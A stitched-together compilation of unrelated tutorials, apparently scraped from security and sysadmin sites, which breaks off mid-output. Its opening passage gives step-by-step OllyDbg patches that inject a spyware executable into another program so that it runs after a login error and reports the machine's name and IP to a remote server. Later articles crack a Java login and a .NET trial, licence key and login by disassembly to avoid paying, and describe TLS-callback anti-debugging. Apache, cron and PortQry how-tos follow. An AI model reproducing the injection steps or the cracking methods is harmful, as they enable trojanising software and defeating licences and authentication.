Giving Spyware name in PUSH Our spyware program is having an *.exe format. So we have to instruct the Assembly code by calling the CALL WinExec instruction: we are injecting an external executable which has of course .exe extension. Figure 1.15: Calling Exe in Assembly Language After finishing with arbitrary code injection related to spyware, the modified assembly looks like the following: igure 1.16: Injected Assembly Code Now we have to connect that new injected code with a message box occurrence instruction, otherwise it won’t be executed. As referenced in figure 1.4, press CTRL +G and enter the 0040115E offset. Figure 1.17: Jump to 0040115E via Expression This action directly lets us reach the entry point of the first message box as follows. Here, we have to perform some significant modifications. Figure 1.18: Message Box code entry point Now, select the 0040115E offset and press space bar, then copy the JNB 00401189 instruction into the clipboard as follows: Figure 1.19: Copy the code Thereafter, come back to inject code by pressing the “-”(minus) button, there select offset 004051A1 to assemble new code and press the space button and paste the JNB 00401189 instruction. We shall discuss shortly what we are doing. Figure 1.20: Paste instruction Ok, now copy the offset address 00405196 in the clipboard from the First PUSH 1 in the new injected code. Figure 1.21: Copy offsets Again go to offset 0040115E where the message box code is located, select the instruction set at 0040115E, and press the space bar. Finally, replace the existing code with new. Assemble the JNB 00405196 instruction here. igure 1.22: Assemble instruction So, what are we actually doing here? First we are giving the reference of the PUSH 1 instruction offset (00405196) to the jump instruction located at offset 0040115E. Secondly, pasting the JNB 00401189 instruction to the 004051A1 offset as follows: Figure 1.23: Graph diagram of offsets jumping Basically, the aforesaid figure indicates that after entering the user name and serial key in the victim.exe, first the error message box would display and then our spyware program would activate. We have finished with the code injections tactics. Now make changes permanent and write the modified bytes into memory by right clicking on the ASM code and select the Copy to Executable option, where we choose All Modifications as follows: Figure 1.24: Saving changes Now, select the Copy all option in the forthcoming dialog box, which produces a separate dialog box as follows, where the final assemble code collectively resides. Figure 1.25: New Assemble code Finally, close the dialog box in figure 1.25. The moment you close the dialog box, the Save as dialog box appears and it asks to get new name to the patched EXE file. We shall provide victim_Patched.exe as follows: Figure 1.26: Save As binary Now, run the victim_Patched.exe and enter any fake values as a user name and serial key. It is obvious that such entered credentials are invalidated and an Error message would display. Figure 1.27: Testing The moment the Error message appears about invalid credentials and we move forward by clicking the OK button, the spyware program is automatically activated and shows the machine name and IP address on which it is running and later sends this information back to a remote server. Figure 1.28: Spyware program Final Note This article presents a step by step tutorial of injecting a malicious spyware program into any executable by using IDA Pro and OllyDbg. The IDA Pro was basically employed in order to identify the entry point message box occurrence and OllyDbg implanted the existing EXE. Basically, this tutorial demonstrates how to place an EXE into another EXE. The idea behind code injection is to identify the occurrence of an entry point which is referred to as a triggering point to an injected EXE, and later modify the JUMP statements in order to divert the execution toward the injected code. Source

Abstract This article is especially designed to show how to crack a Java executable by disassembling the corresponding bytes code. Disassembling of Java bytecode is the act of transforming Java bytecode to Java source code. Disassembling is an inherent issue in the software industry, causing revenue loss due to software piracy. Security engineers have made an effort to resist disassembling techniques, including software watermarking, code obfuscation, in the context of Java bytecode disassembling. A huge allotment of this paper is dedicated to tactics that are commonly considered to be reverse engineering. The methods presented here, however, are intended for professional software developers and each technique is based on custom created application. We are not encouraging any kind of malicious hacking approach by presenting this article; in fact the contents of this paper help to pinpoint the vulnerability in the source code and learn the various methods developers can use in order to shield their intellectual property from reverse engineering. We shall explain the process of disassembling in terms of obtaining sensitive information from source code and cracking a Java executable without having the original source code. Prerequisite I presume that the aspirant would have thorough understanding of programming, debugging and compiling in JAVA on various platforms such as Linux and Windows and, of course, knowledge of JVM’s inner workings. Apart from that, the following tools are required to manipulate bytecode reverse engineering; JDK Toolkit (Javac, javap) Eclipse JVM JAD Java Bytecode Engineers usually construct software in a high-level language such as Java, which is comprehensible to them but which in fact, cannot be executed by the machine directly. Such a textual form of a computer program, known as source code, is converted into a form that the computer can directly execute. Java source code is compiled into an intermediate language known as Java bytecode, which is not directly executed by the CPU but rather, is executed by a Java virtual machine (JVM). Compilation is typically the act of transforming a high-level language into a low-level language such as machine code or bytecode. We do not need to understand Java bytecode, but doing so can assist debugging and can improve performance and memory convention. The JVM is essentially a simple stack-based machine that can be separated into a couple of segments; for instance, stack, heap, registers, method area, and native method stacks. An advantage of the virtual machine architecture is portability: Any machine that implements the Java virtual machine specification is able to execute Java bytecode in a manner of “Write once, run anywhere.” Java bytecode is not strictly linked to the Java language and there are many compilers, and other tools, available that produce Java bytecode, such as the Eclipse IDE, Netbeans, and the Jasmin bytecode assembler. Another advantage of the Java virtual machine is the runtime type safety of programs. The Java virtual machine defines the required behavior of a Java virtual machine but does not specify any implementation details. Therefore the implementation of the Java virtual machine specification can be designed different ways for diverse platforms as long as it adheres to the specification. Sample Cracked Application The subsequent Java console application “LoginTest” is developed in order to explain Java bytecode disassembling. This application typically tests valid users by passing them through a simple login user name and password mechanism. We have got this application from other resources as an unregistered user and obviously we don’t possess the source code of this application. As a result, we do not know a valid user name and password, which are only provided to the registered user. Without having the source code of the application or login credential sets, we still can manage to login into this mechanism, by disassembling its bytecode where we can expose sensitive information related to user login. Disassemble Bytecode Disassembling is the reverse approach, due to the standard and well-documented structure of bytecode, which is an act of transforming a low-level language into a high-level language. It basically generates the source code from Java bytecode. We typically run a disassembler to obtain the source code for the given bytecode, just as running a compiler yields bytecode from the source code. Disassembling is utilized to ascertain the implementation logic despite the absence of the relevant documentation and the source code, which is why vendors explicitly prohibit disassembling and reverse engineering in the license agreement. Here are some of the reasons to decompile: Fixing critical bugs in the software for which no source code exists. Troubleshooting a software or jar that does not have proper documentation. Recovering the source code that was accidentally lost. Learning the implementation of a mechanism. Learning to protect your code from reverse engineering. The process of disassembling Java bytecode is quite simple, not as complex as native c/c++ binary. The first step is to compile the Java source code file, which has the *.java extension through javac utility that produce a *.class file from the original source code in which bytecode typically resides. Finally, by using javap, which is a built-n utility of the JDK toolkit, we can disassemble the bytecode from the corresponding *.class file. The javap utility stores its output in *.bc file. Opening a *.class file does not mean that we access the entire implementation logic of a mechanism. If we try to open the generated bytecode file through notepad or any editor after compiling the Java source code file using javac utility, we surprisingly find some bizarre or strange data in the class file which are totally incomprehensible. The following figure displays the .class files data: So the idea of opening the class file directly isn’t at all successful, hence we shall use WinHex editor to disassemble the bytecode, which will produce the implementation logic in hexadecimal bytes, along with the strings that are manipulated in the application. Although we can reverse engineer or reveal sensitive information of a Java application using WinHex editor, this operation is sophisticated because unless we have the knowledge to match the hex byte reference to the corresponding instructions in the source code we can’t obtain much information. Reversing Bytecode It is relatively easy to disassemble the bytecode of a Java application, compared to other binaries. The javap in-built utility that ships with the JDK toolkit plays a significant role in disassembling Java bytecode, as well as helping to reveal sensitive information. It typically accepts a *.class file as an argument, as following: Drive:> Javap LoginTest Once this command is executed, it shows the real source code behind the class file; but remember one thing: It does display only the methods signature used in the source code, as follows: Compiled from “LoginTest.java” public class LoginTest { public LoginTest(); public static void main(java.lang.String[]); static boolean verify(java.lang.String, char[]); } The entire source code of the Java executable, even if it contains methods related to opcodes, would be showcased by the javap –c switch, as following: Drive:> Javap –c LoginTest This command dumps the entire bytecode of the program in the form of a special opcode instruction. The meaning of each instruction in the context of this program will be explained in a later section of this paper. I have highlighted the important section, from which we can obtain critical information. Compiled from "LoginTest.java" public class LoginTest { public LoginTest(); Code: 0: aload_0 1: invokespecial #1 // Method java/lang/Object."<init>":()V 4: return public static void main(java.lang.String[]); Code: 0: invokestatic #2 // Method java/lang/System.console:()Ljava/io/Console; 3: astore_1 4: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 7: ldc #4 // String Login Verification 9: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 12: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 15: ldc #6 // String ************************ 17: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 20: aload_1 21: ldc #7 // String Enter username: 23: iconst_0 24: anewarray #8 // class java/lang/Object 27: invokevirtual #9 // Method java/io/Console.printf:(Ljava/lang/String;[Ljava/lang/Object;)Ljava/io/Console; 30: pop 31: aload_1 32: invokevirtual #10 // Method java/io/Console.readLine:()Ljava/lang/String; 35: astore_2 36: aload_1 37: ldc #11 // String Enter password: 39: iconst_0 40: anewarray #8 // class java/lang/Object 43: invokevirtual #9 // Method java/io/Console.printf:(Ljava/lang/String;[Ljava/lang/Object;)Ljava/io/Console; 46: pop 47: aload_1 48: invokevirtual #12 // Method java/io/Console.readPassword:()[C 51: astore_3 52: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 55: ldc #13 // String ------------------------- 57: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 60: aload_2 61: aload_3 62: invokestatic #14 // Method verify:(Ljava/lang/String;[C)Z 65: ifeq 79 68: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 71: ldc #15 // String Status::Login Succesfull 73: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 76: goto 87 79: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 82: ldc #16 // String Status::Login Failed 84: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 87: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 90: ldc #13 // String ------------------------- 92: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 95: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 98: ldc #17 // String !!!Thank you!!! 100: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 103: return … } From line 62, we can easily conclude that the login mechanism is implemented using a method called verify that typically checks either the user-entered username and password. If the user enters the correct password, then the “Login success” message flashes, otherwise: 62: invokestatic #14 // Method verify:(Ljava/lang/String;[C)Z 65: ifeq 79 68: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 71: ldc #15 // String Status::Login Succesfull 73: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 76: goto 87 79: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 82: ldc #16 // String Status::Login Failed But still we are unable to grab the username and password information. But, if we analyze the verify methods instruction, we can easily find that the username and password are hard-coded in the code itself, highlighted in the colored box as following: static boolean verify(java.lang.String, char[]); Code: 0: new #18 // class java/lang/String 3: dup 4: aload_1 5: invokespecial #19 // Method java/lang/String."<init>":([C)V 8: astore_2 9: aload_0 10: ldc #20 // String ajay 12: invokevirtual #21 // Method java/lang/String.equals:(Ljava/lang/Object;)Z 15: ifeq 29 18: aload_2 19: ldc #22 // String test 21: invokevirtual #21 // Method java/lang/String.equals:(Ljava/lang/Object;)Z 24: ifeq 29 27: iconst_1 28: ireturn 29: iconst_0 30: ireturn } We finally come to the conclusion that this program accepts ajay as the username and test as the password, which is mentioned in the ldc instruction. Now launch the application once again and enter the aforesaid credentials. Bingo!!!! We have successfully subverted the login authentication mechanism without even having the source code: Bytecode Instruction Specification Like Assembly programming, Java machine code representation is done via bytecode opcodes, which are the forms of instruction that the JVM executes on any platform. Java bytecodes typically offer 256 diverse mnemonic and each is one byte in length. Java bytecodes instructions fall into these major categories: Load and store Method invocation and return Control transfer Arithmetical operation Type conversion Object manipulation Operand stack management We shall only discuss the opcode instructions that are used in the previous Java binary. The following table illustrates the usage meanings as well as the corresponding hex value: Java Opcodes Meaning Hex value Aload Load a reference onto the stack from a local variable 19 Aload_0 Load a reference onto the stack from local variable 0 2a Aload_1 Load a reference onto the stack from local variable 1 2b Aload_2 Load a reference onto the stack from local variable 2 2c anewarray Create a new array of references of length count and component type identified by the class reference index in the constant pool. bd Astore Store a reference into a local variable 3a astore_0 Store a reference into local variable 0 4b astore_1 Store a reference into local variable 1 4c astore_2 Store a reference into local variable 2 4d dup Duplicate the value on top of the stack 59 getstatic Get a static field value of a class, where the field is identified by field reference in the constant pool index B2 goto Goes to another instruction at branch offset A7 invokespecial Invoke instance method on object objectref, where the method is identified by method reference index in constant pool B7 invokestatic Invoke a static method, where the method is identified by method reference index in constant pool B8 invokevirtual Invoke virtual method on object objectref, where the method is identified by method reference index in constant pool B6 ifeq If value is 0, branch to instruction atbranchoffset 99 Iconst_0 Load the int value 0 onto the stack 03 Iconst_1 Load the int value 1 onto the stack 04 ireturn Return an integer from a method ac ldc Push a constant index from a constant pool 12 pop Discard the top value on the stack 57 return Return void from method B1 In Brief This paper illustrates the mechanism of disassembling Java bytecode in order to reveal sensitive information when you do not have the source of the Java binary. We have come to an understanding of how to implement such reverse engineering tactics by using JDK utilities. This article also unfolds the importance of bytecode disassembling and JVM internal workings in the context of reverse bytecode and it also explains the meaning of essential bytecode opcode in detail. Finally, we have seen how to subvert login authentication on a live Java console application by applying disassembly tactics. In the forthcoming paper, we shall explain how to patch Java bytecode in the context of revere engineering. Reference Demystifying Java Internals (An introduction) - InfoSec Institute Source

TLS (thread local storage) calls are subroutines that are executed before the entry point . There is a section in the PE header that describes the place of a TLS callback. Malwares employ TLS callbacks to evade debugger messages. When a particular malware employed with TLS callbacks is loaded into a debugger, the malware finishes its work before the debugger stops at the entry point. Let’s start with a simple example of a TLS callback in C: /***************************************** TLS Example Program Compile With MSVC ********************************************/ #include #pragma comment(linker, "/INCLUDE: tls_used") void NTAPI TlsCallBac(PVOID h, DWORD dwReason, PVOID pv); #pragma data_seg(".CRT$XLB") PIMAGE_TLS_CALLBACK p_thread_callback = TlsCallBac; #pragma data_seg() void NTAPI TlsCallBac(PVOID h, DWORD dwReason, PVOID pv) { MessageBox(NULL, "In TLS", "In TLS", MB_OK); return; } int main(int argc , char**argv) { MessageBox(NULL, "In Main", "In Main", MB_OK); return 0; } After running this program, the “In TLS” Message box will pop up first rather than “In Main.” This proves that TLS callbacks are executed before the entry point. Following is the dumpbin output of the exe compiled using the above code: FILE HEADER VALUES 14C machine (x86) 4 number of sections 52C01E9D time date stamp Sun Dec 29 18:37:41 2013 0 file pointer to symbol table 0 number of symbols E0 size of optional header 103 characteristics Relocations stripped Executable 32 bit word machine OPTIONAL HEADER VALUES 10B magic # (PE32) 8.00 linker version 7000 size of code 5000 size of initialized data 0 size of uninitialized data 1256 entry point (00401256) 1000 base of code 8000 base of data 400000 image base (00400000 to 0040CFFF) 1000 section alignment 1000 file alignment 4.00 operating system version 0.00 image version 4.00 subsystem version 0 Win32 version D000 size of image 1000 size of headers 0 checksum 3 subsystem (Windows CUI) 0 DLL characteristics 100000 size of stack reserve 1000 size of stack commit 100000 size of heap reserve 1000 size of heap commit 0 loader flags 10 number of directories 0 [ 0] RVA [size] of Export Directory 9524 [ 3C] RVA [size] of Import Directory 0 [ 0] RVA [size] of Resource Directory 0 [ 0] RVA [size] of Exception Directory 0 [ 0] RVA [size] of Certificates Directory 0 [ 0] RVA [size] of Base Relocation Directory 0 [ 0] RVA [size] of Debug Directory 0 [ 0] RVA [size] of Architecture Directory 0 [ 0] RVA [size] of Global Pointer Directory 9260 [ 18] RVA [size] of Thread Storage Directory 9218 [ 40] RVA [size] of Load Configuration Directory 0 [ 0] RVA [size] of Bound Import Directory 8000 [ F8] RVA [size] of Import Address Table Directory 0 [ 0] RVA [size] of Delay Import Directory 0 [ 0] RVA [size] of COM Descriptor Directory 0 [ 0] RVA [size] of Reserved Directory The Thread Storage Directory is filled up. The TLS directory is defined in MSDN as (http://msdn.microsoft.com/en-us/magazine/cc301808.aspx): typedef struct _IMAGE_TLS_DIRECTORY { UINT32 StartAddressOfRawData; UINT32 EndAddressOfRawData; PUINT32 AddressOfIndex; PIMAGE_TLS_CALLBACK *AddressOfCallBacks; UINT32 SizeOfZeroFill; UINT32 Characteristics; } IMAGE_TLS_DIRECTORY, *PIMAGE_TLS_DIRECTORY Let’s try to look at a sample that employs TLS callbacks. Supplying it to PEID says it has been packed with NULLSoft packer. Note: The first layer packer is irrelevant to this analysis, This packer basically creates injects inside a new process, which is the unpacked image: . This is a valid MZ image. If you look at the MZ image, you will notice a weird thing about the address of the entry point: 00000108 00000000 DD 00000000 ; AddressOfEntryPoint = 0 0000010C 00100000 DD 00001000 ; BaseOfCode = 1000 00000110 00800000 DD 00008000 ; BaseOfData = 8000 00000114 00004000 DD 00400000 ; ImageBase = 400000 As you can see, over there the address of the entry point is 0 but, at the same time, the TLS table is supplied: 000001A0 60920000 DD 00009260 ; TLS Table address = 9260 000001A4 18000000 DD 00000018 ; TLS Table size = 18 (24.) Here is the dump of the TLS table E4 96 00 00 F2 96 00 00 FE 96 00 00 0E 97 00 00 24 97 00 00 40 97 00 00 5A 97 00 00 72 97 00 00 8C 97 00 00 A2 97 00 00 B2 97 00 00 CC 97 00 00 DE 97 00 00 EC 97 00 00 FE 97 00 00 16 98 00 00 24 98 00 00 30 98 00 00 3E 98 00 00 48 98 00 00 that gives us the location of TLS entry point . There are two ways to catch TLS calls: 1 : Change the Ollydbg setting to the system breakpoint: 2 : Set up a hardware breakpoint at 0x7C9011A4 We will use the second method, which is more preferable. After loading the TLS application, it will stop here in the debugger: 7C901194 8BEC MOV EBP,ESP 7C901196 56 PUSH ESI 7C901197 57 PUSH EDI 7C901198 53 PUSH EBX 7C901199 8BF4 MOV ESI,ESP 7C90119B FF75 14 PUSH DWORD PTR SS:[EBP+14] 7C90119E FF75 10 PUSH DWORD PTR SS:[EBP+10] 7C9011A1 FF75 0C PUSH DWORD PTR SS:[EBP+C] 7C9011A4 FF55 08 CALL DWORD PTR SS:[EBP+8] ; TLS Callback 7C9011A7 8BE6 MOV ESP,ESI 7C9011A9 5B POP EBX 7C9011AA 5F POP EDI 7C9011AB 5E POP ESI 7C9011AC 5D POP EBP 7C9011AD C2 1000 RETN 10 Stepping inside the call leads us here. Now, to fix the PE header, we need fix the entry point of the application to the exact location of the TLS callback and the Zero TLS table value: 00401350 |. 56 PUSH ESI 00401351 |. 56 PUSH ESI 00401352 |. 56 PUSH ESI 00401353 |. 56 PUSH ESI 00401354 |. 56 PUSH ESI 00401355 |. C700 16000000 MOV DWORD PTR DS:[EAX],16 0040135B |. E8 57170000 CALL me.00402AB7 00401360 |. 83C4 14 ADD ESP,14 00401363 |. 6A 16 PUSH 16 00401365 |. 58 POP EAX 00401366 |. 5E POP ESI 00401367 |. C3 RETN 00401368 |> 3935 D4AC4000 CMP DWORD PTR DS:[40ACD4],ESI 0040136E |.^74 DB JE SHORT me.0040134B 00401370 |. 8B0D E0AC4000 MOV ECX,DWORD PTR DS:[40ACE0] 00401376 |. 8908 MOV DWORD PTR DS:[EAX],ECX 00401378 |. 33C0 XOR EAX,EAX 0040137A |. 5E POP ESI 0040137B . C3 RETN Change entry point = 0×0401350; 000000FC 00700000 DD 00007000 ; SizeOfCode = 7000 (28672.) 00000100 00500000 DD 00005000 ; SizeOfInitializedData = 5000 (20480.) 00000104 00000000 DD 00000000 ; SizeOfUninitializedData = 0 00000108 50134000 DD 00401350 ; AddressOfEntryPoint = 401350 0000010C 00100000 DD 00001000 ; BaseOfCode = 1000 00000110 00800000 DD 00008000 ; BaseOfData = 8000 00000114 00004000 DD 00400000 ; ImageBase = 400000 After this step, TLS callbacks won’t be called and you can start debugging your application from entry point. Source

Abstract We have already got the taste of reverse engineering with Reflector in the previous paper. It was basically a kick-start about this dissembling tool in terms of presenting its features and advantages. We have been performing the entire reverse engineering tactics over our custom made software called Champu. This software offers many security restrictions, and we have obtained sensitive information about the Trail Duration restriction in the previous article. Now, we are going to encounter the rest of security constraints, such as revealing the license key and understanding the user authentication mechanism. Target Software As we have seen, our target software offers a 15 day trail, and after that it will expire automatically. In the meantime, we can continue with the evaluation version. If the user decides to buy the full version, it is obvious to obtain the License key code by registering over the vendor website. But we have no idea how this mechanism works implicitly, how the vendor provides the license key to the user. These questions frequently occur in the reverse engineer’s mind if he is not willing to pay any amount. So, if we try to dissemble the source code of this target software, we might get some useful information and could bypass this mechanism in terms of saving dollars. Dissembling to Crack Serial Keys Software code typically resides in multiple modules and it is interlinked together so that code is placed in one module and called from a different module. So, it is not easy to trace back the calling of a crucial module. That is why a reverse engineer’s prime task is to anticipate or backtrack the path of execution and conclude the results. If we examine champu.exe rigorously via Reflector, we can gather a little information from given classes as such during OnLoad() method triggering, the C_Trail class calling the RegisterUser() method which contains another class gData of information, as well as some enable and disable constructs as follows: From the aforementioned figure, we can conclude that on behalf of the status value of gData, some significant form of control-related operations occur implicitly, such changing the text value, visibility etc… If we investigate deeper the gData class necessity, we can achieve that it has a Boolean variable status which determines whether a registered user is trying to login or if he is carrying on in trail period. Based on the value of this variable, some implicit actions are performed as described earlier. It is rather complicated to determine actually whether this class value is consumed or linked with other modules. We can also figure out such information by Analyzer, which virtually stated that a gData class member is used by both C_Trail and Register class as follows: Up ’til now, we successfully extracted the functioning of registered and unregistered users. Furthermore, we can determine that the Register class is responsible for License code manipulation where the btnReg_Click() method event is the key hack to execute such implementation as follows: When we click over the Register button, another class Register is called, from where we can get the license key information. This class only contains a button click method as follows: If we expand this btnReg_Click() method, the whole picture becomes clear. This software doesn’t do any complex operation in order to manipulate the key codes. It is basically hard-coding the license key as AB123AB as follows: Finally, we bypass the second security restriction. Fortunately, it is not in encrypted form and we can directly use it on the User Register interface. Here, the bypass demo is as follows: As we said earlier, in the article we are not practicing the tactics of modifying the .NET binary code. Rather, we are dissembling the source code, and based on getting some crucial information, we are executing the reverse engineering because it is not possible to directly edit the hex code with Reflector. Dissembling the Authentication Mechanism Okay. Now the remaining leap is to confront with the Login form where the user must have to validate himself by entering the correct user name and password but unfortunately, the New User option is not visible after expiring the trail, even if we bypass this License key code. The user name and password information is not provided to a free user as per the software internal mechanism. So, all we have to do is to crack such significant information manually by dissembling the source, because we are not sure again how this mechanism works internally. By examine the source code, we find a class Login which contains two buttons, Login and Cancel, and we can easily conclude that here the actual authentication code is as follows; By expanding the btnLogin_Click() method event, we can notice that user name and password validation is not performing from a database, and they are not in encrypted form. Rather, they are hard-codes as “test” and “user” as follows: So, if we try to use this authentication information against the Login form, we can successfully bypass the Login restriction and we could enter into the main function of this software as follows: Summary This paper unfolds the remaining mystery behind the Champu software. It displays how to reveal the license code information by dissembling its corresponding classes after backtracking the code flow execution. We have learnt the importance of Reflector in the context of getting significant information. Finally, we circumvented the last and most important login restriction mechanism by examining the code rigorously. In this series of articles, we have been trying to get information without performing the binary code editing, as per the limitation of Reflector. In the forthcoming article, we shall demonstrate how to modify the .NET binary code by employing a Reflector add-on. Statuary Warning This paper is not practicing any illegitimate theory or methods. The author has intended to present this paper in terms of learning the defensive tactics and making the job of programmers easier in terms of providing better debugging strategies. The motive behind this article is to ascertain the developers of protecting the sensitive information which can be revealed during de-compilation. Reference Reverse Engineering with Reflector: Part 1 - InfoSec Institute .NET reversing with Reflexil - InfoSec Institute Source

Apache HTTP server is one of the most popular web servers today. It's free and open-source, and can be run on most modern operating systems, unix and linux like. Also, there's a version for Windows and other platforms. It has a lot of different features that make it very extensible and useful for many different types of websites. It can be used for personal web pages and also for large enterprise sites. Apache Web Server is often used in combination with the database engine like MySQL, the HyperText Preprocessor (PHP) or some other scripting language like Python or Perl. This is often called LAMP wich means (Linux, Apache, MySQL and PHP) and offers a powerful platform for development and deployment of Web-based applications. Install apache with apt-get To install apache2 web server, You can simply use apt-get packet manager. To do this You will also need access to your root account. LinuxBox# sudo apt-get install apache2 [sudo] Password for root: . . After this operation, 10MB of additional disk space will be used. Do You want to continue [Y/n]? ( That's it ! ) Apache Configuration By default all configuration files can be found under /etc/apache2. The default Apache2 configuration file is /etc/apache2/apache2.conf. You can configure the port number, document root, modules, log files, virtual hosts, etc. To change default Document root, simply edit the “DocumentRoot /var/www/” line in /etc/apache2/sites-available/default file. This tels the Apache where to look for files that make the site. If want to change root document to /home/myuser/www, write the line “DocumentRoot /home/myuser/www/”: LinuxBox# vi /etc/apache2/sites-available/default <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /home/myuser/www <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory /var/www/> Options -Indexes FollowSymLinks MultiViews -Includes AllowOverride None Order allow,deny allow from all </Directory> Virtual Hosts Virtual Hosting is method for hosting multiple domain names on a single web server. By default, apache is configured with a single "defult" virtual host which can be used as as a template for additional virtual hosts if you have multiple sites on server. To modify the default virtual host, edit the file /etc/apache2/sites-available/default. If you wish to configure a new virtual host or site, copy that file into the same directory with a name you choose and Edit the new file: LinuxBox# cp /etc/apache2/sites-available/default /etc/apache2/sites-available/mynewsite Change Listening port To change the TCP port on which web server is listening, edit "<VirtualHost *:80>" directive, and replace 80 with new port number of Your choice (for example 81). Also, desired port have to be changed in /etc/apache2/ports.conf file: LinuxBox# vi /etc/apache2/ports.conf NameVirtualHost *:81 Listen 81 <IfModule mod_ssl.c> # If you add NameVirtualHost *:443 here, you will also have to change # the VirtualHost statement in /etc/apache2/sites-available/default-ssl # to <VirtualHost *:443> # Server Name Indication for SSL named virtual hosts is currently not # supported by MSIE on Windows XP. Listen 443 </IfModule> <IfModule mod_gnutls.c> Listen 443 </IfModule> LinuxBox# Enable/disable virtual Host (site) After editing virtual Host file, to enable the specific site, simple use a2ensite with the site name: LinuxBox# a2ensite default Enabling site default. Run '/etc/init.d/apache2 reload' to activate new configuration! LinuxBox# ( To disable the site, use a2dissite the same way as "a2ensite" command ) Restart Apache After editing configuration files, don't forget to restart apache so new configuration can take effect: LinuxBox# /etc/init.d/apache2 restart Restarting web server: apache2 ... waiting . LinuxBox# (Apache can be also restarted with /etc/init.d/apache2 stop or /etc/init.d/apache2 start) Source

Cron is a deamon (program that runs as a background process) used to automatically execute scheduled jobs or scripts at regular and predefined intervals without user intervention. Cron is primarily used for jobs needing to be executed over and over like log rotation every week or a report email sent out every morning. Crontab (CRON TABle) is a simple ASCII text file which specifies jobs (cron entries) and times when specific taks is to be run. Eeach user has it's own cron schedule file. This can be very useful if we have some tasks that have to be run periodically at certain times or dates, so it can be used to automate system maintenance or administration. Similar tool called "at" can be used to execute jobs which are processed by "atd" daemon, but scheduled tasks are executed only once. Scheduling cron jobs To schedule a cron job, user should simply edit a cron schedule file or crontab. Crontab can be usually located in /var/spool/cron/crontabs/, but the file shouldn't be edited manually. To edit crontab, use "crontab -e" command. Each line in crontab file represents a crontab task or cron job. Lines that start with "#" sing are considered as comments and will not be executed. Each cron job has 6 sections separated by a single space. Sections 1-5 indicate when and how often by the local time the task (red command in the 6 section) will be executed: (If asterisk "*" sign is used, it indicates that every instance (i.e. every hour, every weekday, etc.) of the particular time period, command will be run) Editing users crontab with "crontab -e" command: LinuxBox# crontab -e # m h dom mon dow command 00 14,21,00 * * * /var/www/backup.sh >> /var/www/log/backup.log 2>&1 ... .. . (Once edite, simply exit the crontab with CTRL-X and confirm writing the changes) Cron job examples Scheduling a backup script that will run every Sunday at 02:00 am: LinuxBox# crontab -e 00 2 * * 0 /var/www/backup.sh >> /var/www/log/backup.log 2>&1 Scheduling a backup script that will run every day at 02:00 am: LinuxBox# crontab -e 00 2 * * * /var/www/backup.sh >> /var/www/log/backup.log 2>&1 Scheduling a backup script that will run every day at 06:00 and 23:00: LinuxBox# crontab -e 00 6,23 * * * /var/www/backup.sh >> /var/www/log/backup.log 2>&1 Scheduling a backup script that will run on January 1st at 06:00 and 23:00: LinuxBox# crontab -e 00 6,23 1 1 * /var/www/backup.sh >> /var/www/log/backup.log 2>&1 Scheduling a backup script that will run every 15 minutes: LinuxBox# crontab -e 00,15,30,45,59 * * * * /var/www/backup.sh >> /var/www/log/backup.log 2>&1 ( If email notifications about completed or failed cron jobs is not needed, " >/dev/null 2>&1 " syntax can be added at the end of each cron job command. This will simply redirect stdout and stderr in a black hole or a trash bin of sort ) Source

PortQry is a simple command-line utility that can be used to find out status of TCP and UDP ports of a network resource and to troubleshoot TCP/IP connectivity issues. It runs on Windows operating systems and can be downloaded from Microsoft Download Center on Microsoft's support site. The advantage that PortQry has while testing ports state is that support UDP-based services. Other simple tools like Telnet Client do not support this functionality. Sysadmins often use it for getting reports on opened ports in computer networks. It reports the status of a TCP/IP port which can be in Listening, Not Listening, or Filtered state: Listening status is generated when PortQry receives response from the queried port. It means that process is listening at that port on the queried server. Not Listening status means that no process is listening on the target port at the queired system. Filtered status gets generated when the port on the computer that we're querying is filtered. This is usually means that port is blocked by some kind of firewall, which can be very useful information. Portqry do not receive a response from such port and but process on it may or may not be listening. Usage - querying opend TCP and UDP ports PortQry is executable, a so after downloading and unpacking, it's ready for use. To use it, simply enter command prompt by going to Start > run > and enter "cmd": Once in command promt, navigate to PortQry directory from where You can start using portqry command: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\John>cd \PortQryV2 C:\PortQryV2> To query single HTTP port on host ittutorials.org, we can use following syntax: C:\PortQryV2> portqry -n ittutorials.org -p tcp -e 80 Querying target system called: ittutorials.org Attempting to resolve name to IP address... Name resolved to 64.37.52.52 querying... TCP port 80 (http service): LISTENING (Switch -n indicates host that we're querying, -p indicates TCP or UDP protocol, and -e says to portqry to query exactely this single port.) Example of querying single port 22 (SSH) on host 192.168.10.20: C:\PortQryV2> portqry -n 192.168.10.200 -p tcp -e 22 Querying target system called: 192.168.10.200 Attempting to resolve IP address to a name... Failed to resolve IP address to name querying... TCP port 22 (ssh service): LISTENING Example of querying single UDP port 53 (DNS) on host 192.168.10.20: C:\PortQryV2> portqry -n ittutorials.org -p udp -e 53 Querying target system called: ittutorials.org Attempting to resolve name to IP address... Name resolved to 64.37.52.52 querying... UDP port 53 (domain service): LISTENING or FILTERED Sending DNS query to UDP port 53... DNS query timed out Queryin a range of ports PortQry also lets You to query a range of ports. The folowing command tries to query a range of TCP ports (-r option indicates "range". In this case from 21 to 24): C:\PortQryV2> portqry -n ittutorials.org -p tcp -r 20:24 Querying target system called: ittutorials.org Attempting to resolve name to IP address... Name resolved to 64.37.52.52 querying... TCP port 20 (ftp-data service): NOT LISTENING TCP port 21 (ftp service): LISTENING Data returned from port: 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-You 